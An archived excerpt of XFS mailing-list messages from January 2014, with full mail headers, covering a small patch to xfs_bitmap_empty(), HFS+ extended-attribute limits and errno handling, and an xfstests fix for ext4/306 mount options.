<1391178074.4275.19.camel@ubuntu> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1391178820 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144685 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 01/31 2014 22:21 PM, Vyacheslav Dubeyko wrote: > On Fri, 2014-01-31 at 21:39 +0800, Jeff Liu wrote: > >>> >>> I checked the same under Mac OS X 10.6.8 (Snow Leopard). And I have >>> failed on 3803 bytes size of xattr. So, I suppose that you have Mac OS X >>> Lion. And EAs is larger under Lion yet. >>> >>> What version of Mac OS X have you? >>> >> Yup, Mountain Lion v10.8.4 :) >> > > I suspect that xattrs with significant size is stored in compressed > state on HFS+. I implemented support of compressed xattrs partially but > I don't share this code yet. But, yes, EAs with size greater than 64 KB > can be a problem. > >> FYI, there have a couple of things regarding HFSPlus+xattr+acl on Linux might be >> deserved to discuss together. >> >> We once have a discussion about the errno in case of hit the limits of ACLs, which >> could be referred to: >> http://www.spinics.net/lists/linux-fsdevel/msg71125.html >> >> HFSPlus return ENOMEM in this case, but it should be E2BIG as per Dave's comments. >> I worked out a patch series includes HFSPlus, but not yet posted for some reasons. >> >> Also, it seems to me we'd better consolidate the errno for EA as well, that is to >> say, it's better to fix the return error to be consistent with VFS interface in case >> of the given EA name/value length is larger than the specified limits. >> >> Would you like to take a look at the following two patches? >> > > Yes, sure. Patches looks correct and good for me. But did you take into > account recent significant changes of Christoph Hellwig? If so, then all > looks good. Thanks for the review. That's one major reason I postpone the patch set submission as I did it before Christoph's changes got merged, it looks like no obvious conflicts with that, but I will find time to double check and sent it to you -- still on vacation for Chinese Spring Festival. Thanks, -Jeff From sandeen@sandeen.net Fri Jan 31 09:07:51 2014 Return-Path: <sandeen@sandeen.net> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 4D4267F52 for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 09:07:51 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id D1E5BAC003 for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 07:07:43 -0800 (PST) X-ASG-Debug-ID: 1391180862-04cb6c6de2576d0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id bSuLbACb8okuGJUq for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 07:07:42 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 64E24602D4F3; Fri, 31 Jan 2014 09:07:42 -0600 (CST) Message-ID: <52EBBC3D.5030507@sandeen.net> Date: Fri, 31 Jan 2014 09:07:41 -0600 From: Eric Sandeen <sandeen@sandeen.net> User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Jeff Liu <jeff.liu@oracle.com>, "xfs@oss.sgi.com" <xfs@oss.sgi.com> Subject: Re: [PATCH] xfs: improve xfs_bitmap_empty() References: <52EBAF91.10608@oracle.com> X-ASG-Orig-Subj: Re: [PATCH] xfs: improve xfs_bitmap_empty() In-Reply-To: <52EBAF91.10608@oracle.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1391180862 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144686 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 1/31/14, 8:13 AM, Jeff Liu wrote: > From: Jie Liu <jeff.liu@oracle.com> > > There is no need to travel through the whole bitmap items to verify > if the bitmap array is empty or not, instead, just return 0 directly > if an item is detected in bitmap array. > > Signed-off-by: Jie Liu <jeff.liu@oracle.com> Makes sense (and the long loop was my fault, I guess, but it's better than it was, see commit 24ad33f!) Reviewed-by: Eric Sandeen <sandeen@redhat.com> I wonder if something like: return (find_first_set(map, size) == size); would be faster (or if it'd be worth it)...? Probably not. :) > --- > fs/xfs/xfs_bit.c | 6 +++--- > 1 file changed, 3 insertions(+), 3 deletions(-) > > diff --git a/fs/xfs/xfs_bit.c b/fs/xfs/xfs_bit.c > index 0e8885a..ae0acc2 100644 > --- a/fs/xfs/xfs_bit.c > +++ b/fs/xfs/xfs_bit.c > @@ -32,13 +32,13 @@ int > xfs_bitmap_empty(uint *map, uint size) > { > uint i; > - uint ret = 0; > > for (i = 0; i < size; i++) { > - ret |= map[i]; > + if (map[i]) > + return 0; > } > > - return (ret == 0); > + return 1; > } > > /* > From jeff.liu@oracle.com Fri Jan 31 09:28:15 2014 Return-Path: <jeff.liu@oracle.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id B32427F50 for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 09:28:15 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 4D741AC00A for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 07:28:15 -0800 (PST) X-ASG-Debug-ID: 1391182090-04bdf0121d59700001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id k6h5wIIcXb0DDNJR (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 07:28:10 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet22.oracle.com (acsinet22.oracle.com [141.146.126.238]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id s0VFS9KZ026542 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 31 Jan 2014 15:28:10 GMT Received: from aserz7021.oracle.com (aserz7021.oracle.com [141.146.126.230]) by acsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s0VFS8qI000798 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 31 Jan 2014 15:28:09 GMT Received: from abhmp0018.oracle.com (abhmp0018.oracle.com [141.146.116.24]) by aserz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s0VFS8xN017245; Fri, 31 Jan 2014 15:28:08 GMT Received: from [192.168.1.101] (/27.194.218.111) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Fri, 31 Jan 2014 07:28:08 -0800 Message-ID: <52EBC103.5050006@oracle.com> Date: Fri, 31 Jan 2014 23:28:03 +0800 From: Jeff Liu <jeff.liu@oracle.com> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Eric Sandeen <sandeen@sandeen.net>, "xfs@oss.sgi.com" <xfs@oss.sgi.com> Subject: Re: [PATCH] xfs: improve xfs_bitmap_empty() References: <52EBAF91.10608@oracle.com> <52EBBC3D.5030507@sandeen.net> X-ASG-Orig-Subj: Re: [PATCH] xfs: improve xfs_bitmap_empty() In-Reply-To: <52EBBC3D.5030507@sandeen.net> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: acsinet22.oracle.com [141.146.126.238] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1391182090 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144687 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 01/31 2014 23:07 PM, Eric Sandeen wrote: > On 1/31/14, 8:13 AM, Jeff Liu wrote: >> From: Jie Liu <jeff.liu@oracle.com> >> >> There is no need to travel through the whole bitmap items to verify >> if the bitmap array is empty or not, instead, just return 0 directly >> if an item is detected in bitmap array. >> >> Signed-off-by: Jie Liu <jeff.liu@oracle.com> > > Makes sense (and the long loop was my fault, I guess, but it's > better than it was, see commit 24ad33f!) Ah, you have killed a lots code there! :) > Reviewed-by: Eric Sandeen <sandeen@redhat.com> > > I wonder if something like: > > return (find_first_set(map, size) == size); > > would be faster (or if it'd be worth it)...? > Probably not. :) > Well, when I looking through our bitmap source, I once thought if we can replace the current code with the generic bitmap library. However, our map is uint rather than unsigned long... Otherwise, maybe some like find_first_bit(map, size) would be more convenient. Thanks, -Jeff From sandeen@sandeen.net Fri Jan 31 09:31:10 2014 Return-Path: <sandeen@sandeen.net> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id E5E697F50 for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 09:31:10 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id BC2848F8050 for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 07:31:10 -0800 (PST) X-ASG-Debug-ID: 1391182269-04cbb00c2b54860001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id p00P5pTI2Jt1RiyF for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 07:31:09 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 900EF602D4F3; Fri, 31 Jan 2014 09:31:01 -0600 (CST) Message-ID: <52EBC1AF.6020000@sandeen.net> Date: Fri, 31 Jan 2014 09:30:55 -0600 From: Eric Sandeen <sandeen@sandeen.net> User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Jeff Liu <jeff.liu@oracle.com>, "xfs@oss.sgi.com" <xfs@oss.sgi.com> Subject: Re: [PATCH] xfs: improve xfs_bitmap_empty() References: <52EBAF91.10608@oracle.com> <52EBBC3D.5030507@sandeen.net> <52EBC103.5050006@oracle.com> X-ASG-Orig-Subj: Re: [PATCH] xfs: improve xfs_bitmap_empty() In-Reply-To: <52EBC103.5050006@oracle.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1391182269 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144687 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 1/31/14, 9:28 AM, Jeff Liu wrote: > > On 01/31 2014 23:07 PM, Eric Sandeen wrote: >> On 1/31/14, 8:13 AM, Jeff Liu wrote: >>> From: Jie Liu <jeff.liu@oracle.com> >>> >>> There is no need to travel through the whole bitmap items to verify >>> if the bitmap array is empty or not, instead, just return 0 directly >>> if an item is detected in bitmap array. >>> >>> Signed-off-by: Jie Liu <jeff.liu@oracle.com> >> >> Makes sense (and the long loop was my fault, I guess, but it's >> better than it was, see commit 24ad33f!) > > Ah, you have killed a lots code there! :) >> Reviewed-by: Eric Sandeen <sandeen@redhat.com> >> >> I wonder if something like: >> >> return (find_first_set(map, size) == size); >> >> would be faster (or if it'd be worth it)...? >> Probably not. :) >> > > Well, when I looking through our bitmap source, I once thought if > we can replace the current code with the generic bitmap library. > However, our map is uint rather than unsigned long... Technically the unsigned long (pointer) is just the bitmap address, I think. -Eric > Otherwise, maybe some like find_first_bit(map, size) would be > more convenient. > > Thanks, > -Jeff > From enwlinux@gmail.com Fri Jan 31 09:47:55 2014 Return-Path: <enwlinux@gmail.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id B8CD37F84 for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 09:47:55 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 20CECAC00C for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 07:47:55 -0800 (PST) X-ASG-Debug-ID: 1391183273-04cb6c6de059820001-NocioJ Received: from mail-qc0-f173.google.com (mail-qc0-f173.google.com [209.85.216.173]) by cuda.sgi.com with ESMTP id ZEVbUwu9GCt0LHBG (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 07:47:54 -0800 (PST) X-Barracuda-Envelope-From: enwlinux@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.216.173 X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.173] Received: by mail-qc0-f173.google.com with SMTP id i8so7227849qcq.18 for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 07:47:53 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.173] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.173] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=date:from:to:cc:subject:message-id:references:mime-version :content-type:content-disposition:in-reply-to:user-agent; bh=xg0+GR2bz9ANwHcF4c+P7+tKuXXmNhJrvExsxHZ9qaE=; b=U76w9NZYOqDRZzlADlvL0oDipyi/rRgtUiROXpv4F0quhTlsOXLPXgjrqWSGb7GelI 1fBSyNg/Vh07JLf8wU4slcyQutJXbW6ygcCwO6jstblxP+rkP2odDSf6BdPl8IQ3PF6M OI0W33Gdtf+Iw7PaS6vWJovM7RxOEAIA3lLhGTKf3E0g0n7i4yOLhFM95I4ZtIAYkM7K wEzGZj8oYHs4wbomTOW6BDXkoT3q9IpwE+/N//vYiSulIwzvApEhIYjCWCtXxN3TxN9r Eg/9n9mUYtqPJGkMYAXcyXyC6Qbhr4HZG+7hfOEDjPRaWQZ5lEpUbCm1TSv6/SZlWxPO 1dRQ== X-Received: by 10.140.81.240 with SMTP id f103mr31261018qgd.104.1391183273480; Fri, 31 Jan 2014 07:47:53 -0800 (PST) Received: from wallace (c-75-67-250-69.hsd1.nh.comcast.net. [75.67.250.69]) by mx.google.com with ESMTPSA id y71sm13937725qgd.3.2014.01.31.07.47.52 for <multiple recipients> (version=TLSv1.2 cipher=RC4-SHA bits=128/128); Fri, 31 Jan 2014 07:47:53 -0800 (PST) Date: Fri, 31 Jan 2014 10:47:51 -0500 From: Eric Whitney <enwlinux@gmail.com> To: sandeen@redhat.com Cc: Theodore Ts'o <tytso@mit.edu>, Eric Whitney <enwlinux@gmail.com>, xfs@oss.sgi.com, linux-ext4@vger.kernel.org Subject: Re: [PATCH] xfstests: avoid ext4/306 failures caused by incompatible mount options Message-ID: <20140131154750.GA2385@wallace> X-ASG-Orig-Subj: Re: [PATCH] xfstests: avoid ext4/306 failures caused by incompatible mount options References: <20140129204502.GC2165@wallace> <20140129213838.GF30419@thunk.org> <52E9761F.7070903@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52E9761F.7070903@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: mail-qc0-f173.google.com[209.85.216.173] X-Barracuda-Start-Time: 1391183273 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144687 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature * Eric Sandeen <esandeen@redhat.com>: > On 1/29/14, 3:38 PM, Theodore Ts'o wrote: > > On Wed, Jan 29, 2014 at 03:45:02PM -0500, Eric Whitney wrote: > >> ext4/306 will fail when mounting the ext3 file system it creates if an > >> ext3-incompatible mount option is applied by _scratch_mount. This can > >> happen if EXT_MOUNT_OPTIONS is defined appropriately in the test > >> environment. For example, the block_validity option is commonly used > >> to enhance ext4 testing, and it is not supported by ext3. Fix this by > >> not including any mount options defined by the test environment. > > > > I'm not sure I understand why the test is insisting that the file > > system be mounted using ext3. If the file system is created without > > the extents flag, all of the files will be created using indirect > > blocks, and fundamentally what this test is getting at is that after > > we grow the file system using resize2fs, the new blocks are available > > to be allocated and attached to an indirect block file. > > > > We can do this by using ext4; I'm not sure why this test is trying to > > use ext3 to set up the test flie system. It might be better to get > > rid of the requirement to create the file system using ext3, since it > > will make the test runnable even if the ext3 file system hasn't been > > configured into the system and CONFIG_EXT23_AS_EXT4 is not enabled. > > > > IIRC, Eric Sandeen wrote this test --- Eric, am I missing some reason > > why it was necessary to use ext3 here? > > Nope. Tomayto, tomahto - I think the original report had trouble with > an ext3 filesystem, so that's how I wrote the testcase. > > It could be fixed either way, I think. > If using ext3 doesn't add any additional value to the test, using ext4 instead certainly simplifies it. I'll post a V2 shortly. Thanks, Eric > -Eric > > > > > - Ted > > > From jeff.liu@oracle.com Fri Jan 31 09:51:34 2014 Return-Path: <jeff.liu@oracle.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id DAAA97F84 for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 09:51:34 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 9BDE4304032 for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 07:51:31 -0800 (PST) X-ASG-Debug-ID: 1391183489-04bdf012205a380001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id jvlEiWlZgSSqAxQ6 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 07:51:29 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from ucsinet22.oracle.com (ucsinet22.oracle.com [156.151.31.94]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id s0VFpRMQ024016 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 31 Jan 2014 15:51:28 GMT Received: from userz7021.oracle.com (userz7021.oracle.com [156.151.31.85]) by ucsinet22.oracle.com (8.14.5+Sun/8.14.5) with ESMTP id s0VFpRLg009631 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Fri, 31 Jan 2014 15:51:27 GMT Received: from abhmp0005.oracle.com (abhmp0005.oracle.com [141.146.116.11]) by userz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s0VFpRHs011723; Fri, 31 Jan 2014 15:51:27 GMT Received: from [192.168.1.101] (/27.194.218.111) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Fri, 31 Jan 2014 07:51:26 -0800 Message-ID: <52EBC67B.7020806@oracle.com> Date: Fri, 31 Jan 2014 23:51:23 +0800 From: Jeff Liu <jeff.liu@oracle.com> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Eric Sandeen <sandeen@sandeen.net>, "xfs@oss.sgi.com" <xfs@oss.sgi.com> Subject: Re: [PATCH] xfs: improve xfs_bitmap_empty() References: <52EBAF91.10608@oracle.com> <52EBBC3D.5030507@sandeen.net> <52EBC103.5050006@oracle.com> <52EBC1AF.6020000@sandeen.net> X-ASG-Orig-Subj: Re: [PATCH] xfs: improve xfs_bitmap_empty() In-Reply-To: <52EBC1AF.6020000@sandeen.net> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet22.oracle.com [156.151.31.94] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1391183489 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144687 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 01/31 2014 23:30 PM, Eric Sandeen wrote: > On 1/31/14, 9:28 AM, Jeff Liu wrote: >> >> On 01/31 2014 23:07 PM, Eric Sandeen wrote: >>> On 1/31/14, 8:13 AM, Jeff Liu wrote: >>>> From: Jie Liu <jeff.liu@oracle.com> >>>> >>>> There is no need to travel through the whole bitmap items to verify >>>> if the bitmap array is empty or not, instead, just return 0 directly >>>> if an item is detected in bitmap array. >>>> >>>> Signed-off-by: Jie Liu <jeff.liu@oracle.com> >>> >>> Makes sense (and the long loop was my fault, I guess, but it's >>> better than it was, see commit 24ad33f!) >> >> Ah, you have killed a lots code there! :) >>> Reviewed-by: Eric Sandeen <sandeen@redhat.com> >>> >>> I wonder if something like: >>> >>> return (find_first_set(map, size) == size); >>> >>> would be faster (or if it'd be worth it)...? >>> Probably not. :) >>> >> >> Well, when I looking through our bitmap source, I once thought if >> we can replace the current code with the generic bitmap library. >> However, our map is uint rather than unsigned long... > > Technically the unsigned long (pointer) is just the bitmap address, > I think. Yeah, so this might worth to try on long terms. Thanks, -Jeff From enwlinux@gmail.com Fri Jan 31 09:53:36 2014 Return-Path: <enwlinux@gmail.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B8B677F91 for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 09:53:36 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 94622304032 for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 07:53:36 -0800 (PST) X-ASG-Debug-ID: 1391183615-04cb6c6de359bc0001-NocioJ Received: from mail-qc0-f174.google.com (mail-qc0-f174.google.com [209.85.216.174]) by cuda.sgi.com with ESMTP id IIdKBMNLfwXvdE3J (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 07:53:35 -0800 (PST) X-Barracuda-Envelope-From: enwlinux@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.216.174 X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.174] Received: by mail-qc0-f174.google.com with SMTP id x13so7290417qcv.33 for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 07:53:35 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.174] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.174] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=date:from:to:cc:subject:message-id:mime-version:content-type :content-disposition:user-agent; bh=oqeyWJbf/0UTdoUvCWbVf+nRi1iuD2q5FF+Gxfv5lVg=; b=XUoM0TESgpE0psp7oXYzbDIgU5fxlAt5UVzwcfqAa2ENcfH89feJAqFJR1fuCODvDZ LN3/I5NePCPYQyc1XZKTjE+weuCX0JEk1Sb6I704Dm3kN75HILwiueyzqH7mJpQsgfet 2eC1cgPlxqECVFR/LvXezyGunyfrvuDZg7c0c5+EfAkci/C7EOByG9VFJEUfNjjgjx4B uicRYkcVbSFwQGqzStyyR+l7fOa1IM07x70cGf6RNmcSYVOrHODtipVDBd2JeWzvSErk KfVNtZLDdEEVpjfWHFFZ3p4Wwh2STTSkJ5aJB+Zx0OwIkA7f5BauLQKybfYHAK30XtaY ZSdw== X-Received: by 10.224.22.129 with SMTP id n1mr32680193qab.103.1391183615063; Fri, 31 Jan 2014 07:53:35 -0800 (PST) Received: from wallace (c-75-67-250-69.hsd1.nh.comcast.net. [75.67.250.69]) by mx.google.com with ESMTPSA id u75sm13935357qgd.23.2014.01.31.07.53.34 for <multiple recipients> (version=TLSv1.2 cipher=RC4-SHA bits=128/128); Fri, 31 Jan 2014 07:53:34 -0800 (PST) Date: Fri, 31 Jan 2014 10:53:32 -0500 From: Eric Whitney <enwlinux@gmail.com> To: xfs@oss.sgi.com Cc: linux-ext4@vger.kernel.org Subject: [PATCH v2] xfstests: avoid ext4/306 failures caused by incompatible mount options Message-ID: <20140131155332.GB2385@wallace> X-ASG-Orig-Subj: [PATCH v2] xfstests: avoid ext4/306 failures caused by incompatible mount options MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: mail-qc0-f174.google.com[209.85.216.174] X-Barracuda-Start-Time: 1391183615 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144687 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys 